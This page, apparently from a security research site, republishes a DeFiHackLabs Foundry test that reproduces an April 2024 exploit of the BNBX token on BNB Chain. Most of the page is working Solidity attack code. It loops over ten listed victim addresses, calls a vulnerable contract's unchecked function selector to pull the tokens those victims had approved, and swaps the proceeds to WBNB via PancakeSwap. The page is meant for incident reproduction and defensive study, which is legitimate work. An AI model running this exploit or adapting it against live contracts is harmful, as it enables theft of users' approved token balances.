Public reproduction file

src/test/2024-04/BNBX_exp.sol

Public reproduction file for dataset entry BNBX.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/BNBX_exp.sol69 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~5 $ETH
5// Attacker : https://bscscan.com/address/0x123fa25c574bb3158ecf6515595932a92a1da510
6// Attack Contract : https://bscscan.com/address/0xe6e06030b33593d140f224fc1cdd1b8ffe99e50a
7// Vulnerable Contract : https://bscscan.com/address/0x389a9ae29fbe53cca7bc8b7a4d9d0a04078e1c24
8// Attack Tx : https://bscscan.com/tx/0xea88dc6dbd81d09c572b5849e0d4508598edcf8f11c9a995cd8fe7e6c194f39e
9 
10import "forge-std/Test.sol";
11import "./../interface.sol";
12 
13contract ContractTest is Test {
14    IERC20 BNBX = IERC20(0xF662457774bb0729028EA681BB2C001790999999);
15    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
16    IPancakePair WBNB_BNBX_LpPool = IPancakePair(0xAa3f145f854e12F1566548c01e74c1b9d98c634d);
17    IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
18 
19    address BNBX_0x389a = 0x389A9AE29fbE53cca7bC8B7a4d9D0a04078e1C24;
20 
21    function setUp() public {
22        vm.createSelectFork("bsc", 38_230_509 - 1);
23        vm.label(address(BNBX), "BNBX");
24        vm.label(address(WBNB), "WBNB");
25        vm.label(address(BNBX_0x389a), "BNBX_0x389a");
26    }
27 
28    function testExploit() public {
29        emit log_named_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)));
30        // 10 victims as an example
31        address[] memory victims = new address[](10);
32        victims[0] = 0xE71F1d71aFe531bCd9b89f82D8a44B04F73b7146;
33        victims[1] = 0xe497e225407b5a305F5e359973bebD4A1986CF7e;
34        victims[2] = 0xD1616BfB6A2009Ee33Db9FCC3C646332E001797c;
35        victims[3] = 0xcc079F627311657c8A4B3D8EDA8742352B9dD4aC;
36        victims[4] = 0xB91aF0cE8bbd4b597eDa7B5194231Aa1B487b85C;
37        victims[5] = 0xb53905E26CA1F0106107772C1f48e6D035B4E0F1;
38        victims[6] = 0xAfA24DEE0c2AA82295E1d0e885eb44A81306442D;
39        victims[7] = 0x98C9440822B4A8F9A24E7ee34222E566F08c15E4;
40        victims[8] = 0x830a727B59477373Cf7bbB66fB4abf22afBBdF56;
41        victims[9] = 0x741b7870DBDCd8CceD6ae19bABA4Da814101484d;
42 
43        for (uint256 i; i < victims.length; i++) {
44            uint256 allowance = BNBX.allowance(victims[i], address(BNBX_0x389a));
45            uint256 balance = BNBX.balanceOf(victims[i]);
46            uint256 available = balance <= allowance ? balance : allowance; // available USDT
47 
48            if (available > 0) {
49                BNBX_0x389a.call(abi.encodeWithSelector(bytes4(0x11834d4c), victims[i]));
50            }
51        }
52        TOKENToWBNB();
53        emit log_named_decimal_uint("Attacker WBNB balance after attack", WBNB.balanceOf(address(this)), 18);
54    }
55 
56    function TOKENToWBNB() internal {
57        (uint256 reserveWBNB, uint256 reserveTOKEN,) = WBNB_BNBX_LpPool.getReserves();
58        uint256 amountOut;
59        BNBX.transfer(address(WBNB_BNBX_LpPool), BNBX.balanceOf(address(this)));
60 
61        (uint256 reserveWBNB_after, uint256 reserveTOKEN_after,) = WBNB_BNBX_LpPool.getReserves();
62 
63        amountOut = PancakeRouter.getAmountOut(reserveTOKEN_after - reserveTOKEN, reserveTOKEN, reserveWBNB);
64        WBNB_BNBX_LpPool.swap(amountOut, 0, address(this), "");
65    }
66 
67    fallback() external payable {}
68    receive() external payable {}
69}

Analysis

Dataset entry

Public Foundry test for “BNBX” (2024-04-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x123fa25c574bb3158ecf6515595932a92a1da510
Attack Contract
0xe6e06030b33593d140f224fc1cdd1b8ffe99e50a
Vulnerable Contract
0x389a9ae29fbe53cca7bc8b7a4d9d0a04078e1c24

Attack Tx
0xea88dc6dbd81d09c572b5849e0d4508598edcf8f11c9a995cd8fe7e6c194f39e

File record

Name: BNBX
Path: src/test/2024-04/BNBX_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: ba8370eb8102383af703da9de82875fa5dfa8102
Language: Solidity
Size: 70 lines
Date: 2024-04-27
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-04/BNBX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ba8370eb8102383af703da9de82875fa5dfa8102, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.